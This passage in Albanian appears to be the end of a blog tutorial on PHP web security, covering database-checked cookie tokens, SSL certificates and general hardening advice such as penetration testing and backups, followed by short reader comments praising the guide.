Me këtë sistem, siguroj që vlera e Cookie përputhet me vlerën në databazë dhe rrjedhimisht ofrohet një sistem identifikimi i padepërtueshëm. Sa do të provojë një sulmues të krijojë një Cookie me vlera arbitrare, do ishte e pamundur për të të gjente një vlerë që egziston në databazë. Normalisht, tokeni duhet të krijohet edhe gjatë identifikimit, proçes të cilin e anashkalova sepse besoj është i qartë. Një sistem si ky është goxha i thjeshtë për tu implementuar dhe shmang çdo sulmues që tenton të marrë akses prej një Cookie arbitrare. Nuk ka arsye pse mos ta përdorni!
SSL
Kjo nuk është një çështje që i përket PHP-së në fakt, por ka shumë lidhje me sigurinë e faqeve në përgjithësi. Ajo që SSL ofron, është kriptimi i të dhënave të transmetuara midis klientit dhe serverit për të mënjanuar leximin e këtyre informacioneve nga sulmues. Përdorimi i SSL është kyç në forma identifikimi, në module blerjesh, cookie apo çdo sektor ku të dhënat janë sensitive dhe në rrezik nga sulmues.
SSL duhet aktivizuar nga të dy kahet, nga serveri dhe klienti. Nga ana e serverit mund të instalohen module të specializuar; Apache vjen me mod_ssl, një modul i bazuar në libraritë e OpenSSL. Nga ana e klientit, mjafton që protokolli të kthehet nga “http” në “https”. Komunikimi do të kriptohet automatikisht.
Megjithatë, ka diçka më tepër këtu se sa përdorimi i një protokolli. Zakonisht, shfletuesit shfaqin një njoftim kur dedektohet komunikimi i kriptuar me SSL dhe nëse nuk përdoret një çertifikatë e vlefshme, vizitorit i duhet ta pranojë këtë tip komunikimi dhe ta shtojë si të besuar. Problemi qëndron se kjo i tremb vizitorët pa eksperiencë dhe shumë prej tyre nuk do dinë si të veprojnë. Për fat të mirë, kompanitë e hostimit ofrojnë çertifikata të besuara SSL të cilat njihen automatikisht nga shfletuesit dhe nuk kërkojnë veprim nga vizitori. Çmimi i tyre varjon, por zakonisht shkon midis $50-100/vit për një domain dhe akoma më pak nëse blihen për grup domaine-sh.
Përfundimi
Me ato që ju kam treguar më sipër, duhet të keni marrë informacion të mjaftueshëm për të mënjanuar pjesën më të madhe të problemeve të sigurisë. Mjafton të jeni të kujdesshëm, të përgjegjshëm dhe të konsideroni këdo si sulmues për të nxjerrë jashtë sulmuesit tipik. Gjithashtu, tentoni të përdorni pak filozofinë e një sulmuesi gjatë kohës që kodoni aplikacionet tuaja që ti shihni gjërat në një këndvështrim tjetër, që me siguri është shumë më pak naiv se ai i programuesëve.
Thënë këto, duhet të kuptoni që siguria është një fushë shumë e madhe. Skenarët e sulmeve të aplikacioneve PHP janë aq të gjerë sa nuk do mjaftonin libra. Praktikisht çdo ditë zbulohen teknika të reja. Shto këtu edhe vrimat e sigurisë që mund të dalin nga keq-konfigurimi i sistemit operativ, i serverit web, i ndonjë aplikacioni që serveri përdor apo akoma më kritike, probleme arkitekturore të tyre (përfshi edhe PHP) dhe mundësitë shtohen edhe më tepër. Nuk dua t’ju tremb, thjeshtë dua t’ju tregoj se bota atje jashtë është e egër dhe mizore.
Këshilla këtu do të ishte të merrni masat në maksimum për të siguruar aplikacionin. Paguani disa njerëz që kanë eksperiencë në siguri të tentojnë ta thyejnë sistemin para se ta publikoni. Ndërkohë, gjeni një ekspert sigurie që ta konfigurojë si ç’duhet sistemin operativ dhe serverin web. Është tërësisht normale të kërkoni ndihmë, sidomos në aplikacione ku integriteti i të dhënave është i rëndësishëm.
Në fund, mos harroni të bëni backup. Çfarëdo të ndodhë, të paktën do keni një kopje funksionale.
Mësim të mbarë.






WOW!!!! Ishte shume e gjate, por aman ishte ‘worth reading’. Pune te mire Fadion me guiden.
Eshte teme goxha e gjere, keshtu qe s’mund te ishte ndryshe. Me vjen mire qe te ka hyre ne pune.
Nje gje e kam shume te qarte . Qe ka shume info te mire rreth ceshtjes .
Fjala e vetme që kam është “Të lumtë” punë e mirë. Duke lexuar artikullin vërejta mangesit e mia në PHP sa i përket sigurisë.
dhe me pak fjale na dhe leksione te rendesishme si te behemi sulmuesa kundrejt atyre qe si kane marre parasysh ato me siper.
. qellimi i vertet i ketij mesazhi ishte GOOD JOB !
Siguria eshte fushe qe rralle nis ne kahun e duhur. Gjetja e problemeve te sigurise ne sistemet e te tjereve eshte gje e mire per aq kohe sa nuk perdoren per qellime negative
ja nje tutorial i bere nga un ne sigurin e sessioneve http://phptutorials.ws/article/session-security-tutorial,-protection-3.html :d